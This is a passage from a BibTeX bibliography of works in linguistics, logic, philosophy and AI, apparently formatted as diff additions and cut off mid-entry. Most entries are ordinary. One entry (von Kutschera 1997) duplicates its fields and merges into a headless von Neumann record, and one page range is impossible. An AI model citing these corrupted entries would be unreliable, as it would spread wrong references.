= {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {49--54}, + address = {Amsterdam}, + topic = {modal-subordination;} + } + +@article{ vermeulen:2000a, + author = {Cees E.M. Vermeulen}, + title = {Variables as Stacks: A Case Study in Dynamic Theory}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {143--167}, + topic = {dynamic-semantics;} + } + +@article{ vermeulen:2000b, + author = {C.E.M. Vermeulen}, + title = {Text Structure and Proof Structure}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {3}, + pages = {273--211}, + topic = {nl-proofs;discourse-structure;} + } + +@article{ vermeulen:2001a, + author = {C. Vermeulen}, + title = {A Calculus of Substitutions for {DPL}}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {3}, + pages = {357--387}, + topic = {dynamic-predicate-logic;proof-theory;completeness-theorems;} + } + +@book{ veroff:1997a, + editor = {Robert Veroff}, + title = {Automated Reasoning and Its Applications: Essays in Honor of + Larry Wos}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0262220555 (alk. paper)}, + topic = {theorem-proving;} + } + +@incollection{ veronis-ide:1995a, + author = {Jean V\'eronis and Nancy Ide}, + title = {Large Neural Networks for the Resolution of Lexical + Ambiguity}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {251--272}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;connectionist-models;} + } + +@book{ veronis:2000a, + editor = {Jean V\'eronis}, + title = {Parallel Text Processing: Alignment and + Use of Translation Corpora}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0-7923-6546-1}, + xref = {Review: resnik_p:2001a.}, + topic = {text-alignment;corpus-linguistics;machine-translation;} + } + +@book{ verschueren:1976a, + author = {Jef Verschueren}, + title = {Speech Act Theory: A Provisional Bibliography with + a Terminological Guide}, + publisher = {Indiana Linguistics Club}, + year = {1976}, + address = {Department of Linguistics, University of Indiana, + Bloomington, Indiana}, + topic = {speech-acts;bibliography;} + } + +@book{ verschueren:1978a, + author = {Jef Verschueren}, + title = {Pragmatics: An Annotated Bibliography}, + publisher = {J. Benjamins}, + year = {1978}, + address = {Amsterdam}, + topic = {pragmatics;} +} + +@article{ verschueren:1983a, + author = {Jef Verschueren}, + title = {Review of {\it {S}peech Act Classification: A Study in the + Lexical Analysis of {E}nglish Speech Activity Verbs}}, + journal = {Language}, + year = {1983}, + volume = {59}, + pages = {166--175}, + missinginfo = {number}, + xref = {Review of ballmer-brennenstuhl:1981a.}, + topic = {speech-acts;pragmatics;speech-act-taxonomy;} + } + +@book{ verschueren:1983b, + author = {Jef Verschueren}, + title = {What People Say They Do With Words: Prolegomena to an + Empirical-Conceptual Approach to Linguistic Action}, + publisher = {Ablex}, + year = {1983}, + address = {Norwood, New Jersey}, + topic = {speech-acts;empirical-methods-in-discourse;pragmatics;} + } + +@book{ verschueren:1985b, + author = {Jef Verschueren}, + title = {What People Say They Do With Words: Prolegomena to an + Empirical-Conceptual Approach to Linguistic Action}, + publisher = {Ablex Publishing Corp.}, + year = {1985}, + address = {Norwood, New Jersey}, + ISBN = {0893911968}, + topic = {speech-acts;empirical-methods-in-discourse;pragmatics;} + } + +@book{ verschueren:1987a, + editor = {Jef Verschueren}, + title = {Pragmatics at Issue: Selected Papers of the {I}nternational + {P}ragmatics {C}onference, {A}ntwerp, {A}ugust 17--22, 1991}, + publisher = {J. Benjamins}, + year = {1987}, + address = {Amsterdam}, + topic = {pragmatics;} +} + +@book{ verschueren:1987b, + author = {Jef Verschueren}, + title = {Linguistic Action: Some Empirical-Conceptual Studies}, + publisher = {Ablex Publishing Co.}, + year = {1987}, + address = {Norwood, New Jersey}, + topic = {pragmatics;} +} + +@book{ verschueren:1987c, + author = {Jef Verschueren}, + title = {Concluding Round Table, 1987 International Pragmatics + Conference}, + publisher = {International Pragmatics Association}, + year = {1987}, + address = {Wilrijk, Belgium}, + topic = {pragmatics;} +} + +@book{ verschueren:1987d, + author = {Jef Verschueren}, + title = {Pragmatics as a Theory of Linguistic Adaptation}, + publisher = {International Pragmatics Association}, + year = {1987}, + address = {Wilrijk, Belgium}, + topic = {pragmatics;} +} + +@book{ verschueren-bertuccellipapi:1987a, + editor = {Jef Verschueren and Marcella Bertuccelli-Papi}, + title = {The Pragmatic Perspective}, + publisher = {Benjamins}, + year = {1987}, + address = {Amsterdam}, + topic = {pragmatics;} + } + +@book{ verschueren:1998a, + author = {Jef Verschueren}, + title = {Understanding Pragmatics}, + publisher = {Arnold}, + year = {1998}, + address = {London}, + ISBN = {0-340-64623-3 (paper)}, + topic = {pragmatics;} + } + +@incollection{ vesey:1986a, + author = {Godfrey Vesey}, + title = {Concepts of Mind\, } , + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {531--557}, + address = {Minneapolis}, + topic = {philosophy-of-mind;} + } + +@incollection{ vestre:1991a, + author = {Espen J. Vestre}, + title = {An Algorithm for Generating Non-Redundant + Quantifier Scopings}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {33--52}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {nl-quantifier-scope;computational-linguistics;} + } + +@article{ vickers:1990a, + author = {John M. Vickers}, + title = {Compactness in Finite Probabilistic Inference}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {3}, + pages = {305--316}, + topic = {probability-semantics;} + } + +@inproceedings{ vidal:2000a, + author = {Thierry Vidal}, + title = {Controllability Characterization and Checking in + Contingent Temporal Constraint Networks}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {559--570}, + topic = {constraint-satisfaction;temporal-reasoning;} + } + +@inproceedings{ viegas-bouillon:1994a, + author = {Evelyne Viegas and Pierrette Bouillon}, + title = {Semantic Lexicons: the Cornerstone for Lexical Choice + in Natural Language Generation}, + pages = {91--98}, + booktitle = {Seventh International Workshop on Natural + Language Generation}, + month = {June}, + year = {1994}, + topic = {lexical-choice;nl-generation;} + } + +@inproceedings{ viegas-etal:1996a, + author = {Evelyne Viegas and Boyan Onyshkevych and + Victor Raskin and Sergei Nirenburg}, + title = {From `Submit' to `Submitted' via `Submission': On Lexical + Rules in Large-Scale Lexicon Acquisition}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {32--39}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {word-learning;lexical-rules;} + } + +@book{ viegas:1999a, + editor = {Evelyne Viegas}, + title = {Breadth and Depth of Semantic Lexicons}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0-7923-6039-7}, + xref = {Review: white_js:2000a.}, + topic = {computational-semantics;computational-lexical-semantics; + computational-lexicography;} + } + +@incollection{ vieira:1985a, + author = {Marcia Damaso Vieira}, + title = {The Expression of Quantificational Notions in {A}surini + do {T}rocar\'a: Evidence against the Universality of + Determiner Quantificatio}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {701--720}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;Tupi-Guarani-languages;} + } + +@inproceedings{ vieira-teufel:1997a, + author = {Renata Vieira and Simone Teufel}, + title = {Towards Resolution of Bridging Descriptions}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {522--524}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {definite-descriptions;nl-interpretation;bridging-anaphora;} + } + +@article{ viera-poesio:2000a, + author = {Renata Viera and Massimo Poesio}, + title = {An Empirically Based System for Processing Definite + Descriptions}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {539--593}, + topic = {corpus-linguistics;anaphora-resolution; + definite-descriptions;reference-resolution;discourse-referents;} + } + +@incollection{ vieu:1997a, + author = {Laure Vieu}, + title = {Spatial Representation and Reasoning in + {AI}}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {5--41}, + address = {Dordrecht}, + topic = {spatial-reasoning;spatial-representation;} + } + +@article{ vigant:2001a, + author = {David Vigant}, + title = {Locking on to the Language of Thought}, + journal = {Philosophical Psychology}, + year = {2001}, + volume = {14}, + number = {2}, + pages = {203--215}, + topic = {concept-grasping;philosophy-of-mind;foundations-of-cognition; + mental-language;} + } + +@incollection{ vigeant:1999a, + author = {Louise Vigeant}, + title = {A Different Game? Game Theoretical Semantics as a New + Paradigm}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {223--228}, + address = {Amsterdam}, + topic = {game-theoretic-semantics;} + } + +@incollection{ vihvelin:2000a, + author = {Kadri Vihvelin}, + title = {Libertarian Compatibilism}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {139--166}, + address = {Oxford}, + topic = {freedom;volition;} + } + +@incollection{ vijayshankar-weir:1981a, + author = {K. Vijay-Shankar and David J. Weir}, + title = {Polynomial Parsing of Extensions of Context-Free + Grammars}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {191--206}, + address = {Dordrecht}, + topic = {parsing-algorithms;complexity-in-AI;polynomial-algorithms;} + } + +@article{ vik:1988a, + author = {Thomas Vik}, + title = {Towards a Transduction of Underlying Structures Into + Intensional Logic}, + journal = {Prague Bulletin of Mathematical Linguistics}, + year = {1988}, + volume = {50}, + pages = {35--70}, + topic = {nl-semantics;s-topic;sentence-focus;pragmatics;} + } + +@article{ vila:1994a, + author = {Luis Vila}, + title = {A Survey on Temporal Reasoning in Artificial + Intelligence}, + journal = {{AICOM} (Artificial Intelligence Communications)}, + year = {1994}, + volume = {7}, + number = {1}, + pages = {4--28}, + topic = {temporal-reasoning;} + } + +@article{ vila-reichgelt:1996a, + author = {Llu\'is Vila and Han Reichgelt}, + title = {The Token Reification Approach to Temporal Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {1}, + pages = {59--74}, + topic = {temporal-reasoning;events;} + } + +@inproceedings{ vilain:1985a, + author = {Marc Vilain}, + title = {The Restricted Language Architecture of a Hybrid + Representation System}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {547--551}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {hybrid-kr-architectures;} + } + +@inproceedings{ vilain-kautz:1986a, + author = {Marc Vilain and Henry Kautz}, + title = {Constraint Propagation Algorithms for Temporal Reasoning}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {377--382}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {temporal-reasoning;constraint-propagation;} + } + +@incollection{ vilain-etal:1990a, + author = {Marc Vilain and Henry Kautz and Peter {van Beek}}, + title = {Constraint Propagation Algorithms for Temporal Reasoning: + a Revised Report}, + booktitle = {Qualitative Reasoning about Physical Systems}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {Daniel S. Weld and Johan de Kleer}, + pages = {373--381}, + address = {San Mateo, California}, + xref = {Revision of paper in AAAI-86; 377--382}, + topic = {temporal-reasoning;qualitative-reasoning;kr-complexity-analysis; + kr-course;} + } + +@inproceedings{ vilain:1995a, + author = {Mark Vilain}, + title = {Semantic Inference in Natural Language: Validating a + Tractable Approach}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1346--1351}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {computational-semantics;} + } + +@incollection{ vilain-day:2000a, + author = {Marc Vilain and David Day}, + title = {Phrase Parsing with Rule Sequence Processors: An + Application to the Shared {CoNLL} Task}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {160--162}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;Vilain;} + } + +@article{ vilhelm-etal:2000a, + author = {Christian Vilhelm and Pierre Ravaux and Daniel + Calvelo and Alexandre Jaborska and Marie-Christine Chambrin + and Michel Boniface}, + title = {Think! A Unified Numerical-Symbolic Knowledge + Representation Scheme and Reasoning System}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {67--85}, + topic = {kr;numeric-reasoning;} + } + +@book{ villanueva:1990a, + editor = {Enrique Villanueva}, + title = {Information, Semantics, and Epistemology}, + publisher = {Basil Blackwell}, + year = {1990}, + address = {Oxford}, + ISBN = {0631170758}, + topic = {nl-semantics;philosophy-of-language;foundations-of-semantics; + epistemology;} +} + +@book{ villanueva:1991a, + editor = {Enrique Villanueva}, + title = {Consciousness}, + publisher = {Ridgeview Publishing Co.}, + year = {1991}, + address = {Atascadero, California}, + ISBN = {092492201x (pbk)}, + topic = {consciousness;} + } + +@book{ villanueva:1992a, + editor = {Enrique Villanueva}, + title = {Rationality in Epistemology}, + publisher = {Ridgeview Publishing Co.}, + year = {1992}, + address = {Atascadero, California}, + ISBN = {0924922095 (pbk)}, + topic = {epistemology;rationality;} + } + +@book{ villanueva:1993a, + editor = {Enrique Villanueva}, + title = {Naturalism and Normativity}, + publisher = {Ridgeview Publishing Co.}, + year = {1993}, + address = {Atascadero, California}, + ISBN = {0924922176}, + topic = {ethics;} + } + +@book{ villanueva:1993b, + editor = {Enrique Villanueva}, + title = {Science and Knowledge}, + publisher = {Ridgeview Publishing Co.}, + year = {1993}, + address = {Atascadero, California}, + ISBN = {0924922141}, + topic = {philosophy-of-science;epistemology;} + } + +@book{ villanueva:1994a, + editor = {Enrique Villanueva}, + title = {Truth and Rationality}, + publisher = {Ridgeview Publishing Co.}, + year = {1994}, + address = {Atascadero, California}, + ISBN = {0924922192}, + topic = {truth;rationality;} + } + +@book{ villanueva:1996a, + editor = {Enrique Villanueva}, + title = {Perception}, + publisher = {Ridgeview Publishing Co.}, + year = {1996}, + address = {Atascadero, California}, + ISBN = {0924922303}, + topic = {epistemology;perception;} + } + +@book{ villanueva:1997a, + editor = {Enrique Villanueva}, + title = {Truth}, + publisher = {Ridgeview Publishing Co.}, + year = {1997}, + address = {Atascadero, California}, + ISBN = {0924922281}, + topic = {truth;} + } + +@book{ villanueva:1998a, + editor = {Enrique Villanueva}, + title = {Concepts}, + publisher = {Ridgeview Publishing Co.}, + year = {1998}, + address = {Atascadero, California}, + ISBN = {0924922303}, + topic = {philosophy-of-mind;philosophy-of-psychology;concept-grasping;} + } + +@book{ villanueva:2000a, + editor = {Enrique Villanueva}, + title = {Skepticism : A Supplement To No\^us}, + publisher = {Basil Blackwell}, + year = {2000}, + address = {Oxford}, + ISBN = {0924922303 (paper text)}, + topic = {skepticism;} + } + +@article{ villard-etal:2000a, + author = {C. Essert-Villard and P. Schreck and J.-F. Dufourd}, + title = {Sketch-Based Pruning of a Solution Space within a Formal + Geometric Constraint Solver}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {1}, + pages = {139--159}, + topic = {geometrical-reasoning;computer-aided-design; + constraint-based-reasoning;} + } + +@incollection{ villavicencio:2000a, + author = {Aline Villavicencio}, + title = {The Acquisition of Word Order by a + Computational Learning System}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {209--218}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;grammar-larning;word-order;} + } + +@book{ vince:1995a, + author = {John A. Vince}, + title = {Virtual Reality Systems}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1995}, + address = {Reading, Massachusetts}, + ISBN = {0201876876}, + topic = {virtual-reality;} + } + +@article{ visser:1984a, + author = {Albert Visser}, + title = {Four Valued Semantics and the Liar}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {2}, + pages = {181--212}, + topic = {truth;4-valued-logic;semantic-paradoxes;} + } + +@article{ visser:1984b, + author = {Albert Visser}, + title = {The Provability Logic of Recursively Enumerable Theories + Extending {P}eano Arithmetic at Arbitrary Theories + Extending {P}eano Arithmetic}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {1}, + pages = {97--113}, + topic = {provability-logic;} + } + +@unpublished{ visser:1985a, + author = {Albert Visser}, + title = {Semantics and the Liar Paradox}, + year = {1985}, + note = {Unpublished manuscript, University of Utrecht}, + missinginfo = {Year is a guess.}, + topic = {semantic-paradoxes;truth;fixpoints;} + } + +@techreport{ visser:1987a, + author = {Albert Visser}, + title = {A Course in Bimodal Provability Logic}, + institution = {Department of Philosophy, University of Utrecht}, + number = {Logic Group Preprint Series No. 20}, + year = {1987}, + address = {Utrecht}, + topic = {provability-logic;} + } + +@article{ visser:1997a, + author = {Albert Visser}, + title = {Dynamic Relation Logic Is the Logic of {DPL}-Relations}, + journal = {Journal of Logic, Language, and Information}, + volume = {6}, + number = {4}, + year = {1997}, + pages = {441--452}, + topic = {modal-logic;dynamic-logic;} + } + +@article{ visser:1998a, + author = {Albert Visser}, + title = {Contexts in Dynamic Predicate Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {21--52}, + topic = {context;dynamic-predicate-logic;logic-of-context;} + } + +@incollection{ visser:1998b, + author = {Albert Visser}, + title = {An Overview of Interpretability Logic}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {307--359}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@article{ visser:2001a, + author = {Albert Visser}, + title = {Submodels of {K}ripke Models}, + journal = {Archive for Mathematical Logic}, + year = {2001}, + volume = {40}, + pages = {277--295}, + xref = {Review: iemhoff:2002a.}, + topic = {model-theory;intuitionistic-mathematics;} + } + +@article{ visser:2002a, + author = {Albert Visser}, + title = {The Donkey and the Monoid: Dynamic Semantics with Control + Elements}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {1}, + pages = {107--131}, + topic = {dynamic-predicate-logic;} + } + +@article{ vlach:1981a, + author = {Frank Vlach}, + title = {Speaker's Meaning}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {359--391}, + contentnote = {Contains a systmatic comparison of various + definitions of speaker meaning, by features.}, + topic = {speaker-meaning;pragmatics;} + } + +@article{ vlach:1993a, + author = {Frank Vlach}, + title = {Temporal Adverbials, Tenses and the Perfect}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {3}, + pages = {231--283}, + topic = {temporal-adverbials;nl-tense;perfective-aspect;} + } + +@incollection{ vlastos:1954a, + author = {Gregory Vlastos}, + title = {The Third Man Argument in the {\it Parmenides}}, + booktitle = {Studies in {P}lato's Metaphysics}, + publisher = {Routledge and Kegan Paul}, + year = {1954}, + editor = {R.E. Allen}, + pages = {231--263}, + address = {London}, + topic = {Plato;metaphysics;} + } + +@article{ vlastos:1965a, + author = {Gregory Vlastos}, + title = {The Theory of Recollection in {P}lato's {\it Meno}}, + journal = {Dialogue}, + year = {1965}, + volume = {4}, + number = {2}, + pages = {143--167}, + topic = {Plato;epistemology;} + } + +@article{ vlastos:1966a, + author = {Gregory Vlastos}, + title = {Zeno's Race Course}, + journal = {Journal of the History of Philosophy}, + year = {1966}, + volume = {4}, + pages = {95--108}, + missinginfo = {number}, + topic = {paradoxes-of-motion;Zeno;} + } + +@article{ vlk:1988a, + author = {Tom\'a\v{s} Vlk}, + title = {Towards a Transduction of Underlying Structures into + Intensional Logic}, + journal = {The {P}rague Bulletin of Mathematical Linguistics}, + year = {1988}, + volume = {50}, + pages = {35--70}, + topic = {nl-semantics;} + } + +@phdthesis{ vogel_c:1995a, + author = {Carl Vogel}, + title = {Inheritance Reasoning: Psychological Plausibility, Proof + Theory and Semantics}, + school = {University of Edinburgh}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {Edinburgh, Scotland}, + topic = {inheritance-theory;} + } + +@incollection{ vogel_c-tonhauser:1996a, + author = {Carl Vogel and Judith Tonhauser}, + title = {Psychological Constraints on Plausible Default Inheritance + Reasoning}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {608--619}, + address = {San Francisco, California}, + topic = {kr;inheritance;inheritance-reasoning;kr-course;} + } + +@incollection{ vogel_j:1990a, + author = {J. Vogel}, + title = {Are There Counterexamples to the Closure Principle?}, + booktitle = {Doubting: Contemporary Perspectives on Skepticism}, + publisher = {Kluwer}, + year = {1990}, + editor = {Michael D. Roth and Glenn Ross}, + pages = {13--28}, + address = {Dordrecht}, + missinginfo = {A's 1st name, correlate au with vogel_j.}, + topic = {knowledge;propositional-attitudes;hyperintensionality;} + } + +@article{ vogel_j:1993a, + author = {Jonathan Vogel}, + title = {Review of {\it Inference to the Best Explanation}, + by {P}eter {L}ipton}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {3}, + pages = {419--421}, + xref = {Review of lipton:1991a}, + topic = {abduction;explanation;philosophy-of-science;} + } + +@inproceedings{ volk:1997a, + author = {Martin Volk}, + title = {Probing the Lexicon in Evaluating Commercial {MT} + Systems}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {112--119}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {AI-system-evaluation;machine-translation;} + } + +@incollection{ volk:1997b, + author = {Martin Volk}, + title = {Markup of a Test Suite with {SGML}}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {59--76}, + address = {Stanford, California}, + topic = {corpus-linguistics;corpus-tagging;} + } + +@article{ vollmer:2000a, + author = {Sara Vollmer}, + title = {Two Kinds of Observation: Why {V}an {F}raassen Was + Right to Make a Distinction, but Made the Wrong One}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {355--365}, + topic = {philosophy-of-science;observation;} + } + +@unpublished{ vonderbeek:2001a, + author = {Michael von der Beek}, + title = {A Concise Compositional Statecharts Semantics Definition}, + year = {2001}, + note = {Available at www4.informatik.tu-muenchen.de/%7Ebeek/.}, + topic = {statecharts;} + } + +@book{ vondohlen:1999a, + author = {Richard F. Von Dohlen}, + title = {An Introduction to the Logic of the Computing Sciences: A + Contemporary Look at Symbolic Logic}, + publisher = {University Press of America}, + year = {1999}, + address = {Lanham, Maryland}, + ISBN = {0761813268 (paperback)}, + topic = {logic-in-CS;logic-in-CS-intro;} + } + +@book{ voneye:1990a, + editor = {Alexander von Eye}, + title = {Statistical Methods in Longitudinal Research, Volume 1: + Principles and Structuring Change}, + publisher = {Academic Press}, + year = {1990}, + address = {New York}, + topic = {statistics;} + } + +@inproceedings{ vonfintel:1991a, + author = {Karl {von Fintel}}, + title = {Exceptive Constructions}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {85--105}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {exception-constructions;} + } + +@article{ vonfintel:1992a, + author = {Kai {von Fintel}}, + title = {Exceptive Constructions}, + journal = {Natural Language Semantics}, + year = {1992--1993}, + volume = {1}, + number = {2}, + pages = {123--148}, + topic = {nl-semantics;nl-quantifiers;exception-constructions;} + } + +@phdthesis{ vonfintel:1994a, + author = {Kai von Fintel}, + title = {Restriction on Quantifier Domains}, + school = {University of Massachusetts}, + year = {1994}, + address = {Amherst}, + topic = {nl-quantifiers;context;} + } + +@book{ vonheusinger:1997a, + author = {Klaus von Heusinger}, + title = {{S}alienz und {R}eferenz}, + publisher = {Akademie Verlag}, + year = {1997}, + address = {Berlin}, + topic = {salience;reference;} + } + +@book{ vonhumboldt:2000a, + author = {Wilhelm von Humboldt}, + title = {Humboldt: On Language}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + note = {Edited by Michael Losonsky}, + ISBN = {052166772-0 (Pbk)}, + topic = {linguistics-classics;foundations-of-linguistics;} + } + +@article{ vonklopp:1998a, + author = {Ana Von Klopp}, + title = {An Alternative View of Polarity Items}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {4}, + pages = {393--432}, + topic = {polarity;polarity-sensitivity;} + } + +@article{ vonkutschera:1974a, + author = {Franz {von Kutschera}}, + title = {Indicative Conditionals}, + journal = {Theoretical Linguistics}, + year = {1974}, + volume = {1}, + number = {3}, + pages = {257--269}, + topic = {conditionals;pragmatics;implicature;pragmatics;} + } + +@incollection{ vonkutschera:1976a, + author = {Franz {von Kutschera}}, + title = {Epistemic Interpretation of Conditionals}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {487--501}, + address = {Dordrecht}, + topic = {conditionals;epistemic-logic;} + } + +@article{ vonkutschera:1986a, + author = {Franz {von Kutscheraa}}, + title = {Bewirken}, + journal = {Erkenntnis}, + year = {1986}, + volume = {24}, + pages = {253--281}, + missinginfo = {number}, + topic = {causality;} + } + +@article{ vonkutschera:1986b, + author = {Franz von Kutschera}, + title = {Zwei modallogische {A}rgumente f\"ur den {D}eterminismus: + {A}ristoteles und {D}iodor}, + journal = {Erkenntnis}, + year = {1986}, + volume = {24}, + pages = {203--217}, + acontentnote = {The master argument of Diodoros Kronos and the + argument for determinism from the principle of excluded middle + for future contingencies in Aristotle's De Interpretatione, + Chapter 9 are reconstructed, compared and criticised.}, + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ vonkutschera:1993a, + author = {Franz {von Kutschera}}, + title = {Causation}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {6}, + pages = {563--588}, + topic = {causality;} + } + +@article{ vonkutschera:1994a, + author = {Franz {von Kutschera}}, + title = {Global Supervenience and Belief}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {1}, + pages = {103--110}, + topic = {epistemic-logic;} + } + +@article{ vonkutschera:1997a, + author = {Franz {von Kutschera}}, + title = {T$\times$W Completeness}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {241--250}, + title = {$T\times W$ Completeness}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {241--250}, + title = {Theory of Self-Reproducing Automata}, + publisher = {University of Illinois Press}, + year = {1966}, + address = {Urbana, Illinois}, + note = {Edited and completed by Arthur W. Burks.}, + topic = {self-reproducing-automata;} + } + +@book{ vonneumann-morgenstern_o:1944a, + author = {John {von Neumann} and Oskar Morgenstern}, + title = {Theory of Games and Economic Behavior}, + publisher = {Princeton University Press}, + year = {1944}, + address = {Princeton, New Jersey}, + edition = {1}, + topic = {game-theory;decision-theory;} + } + +@book{ vonneumann-morgenstern_o:1947a, + author = {John {von Neumann} and Oskar Morgenstern}, + title = {Theory of Games and Economic Behavior}, + publisher = {Princeton University Press}, + year = {1947}, + address = {Princeton, New Jersey}, + edition = {2}, + topic = {game-theory;decision-theory;} + } + +@book{ vonplato:1994a, + author = {Jan {von Plato}}, + title = {Creating Modern Probability}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {history-of-mathematics;probability;} + } + +@article{ vonsavigny:1975a, + author = {Eike {von 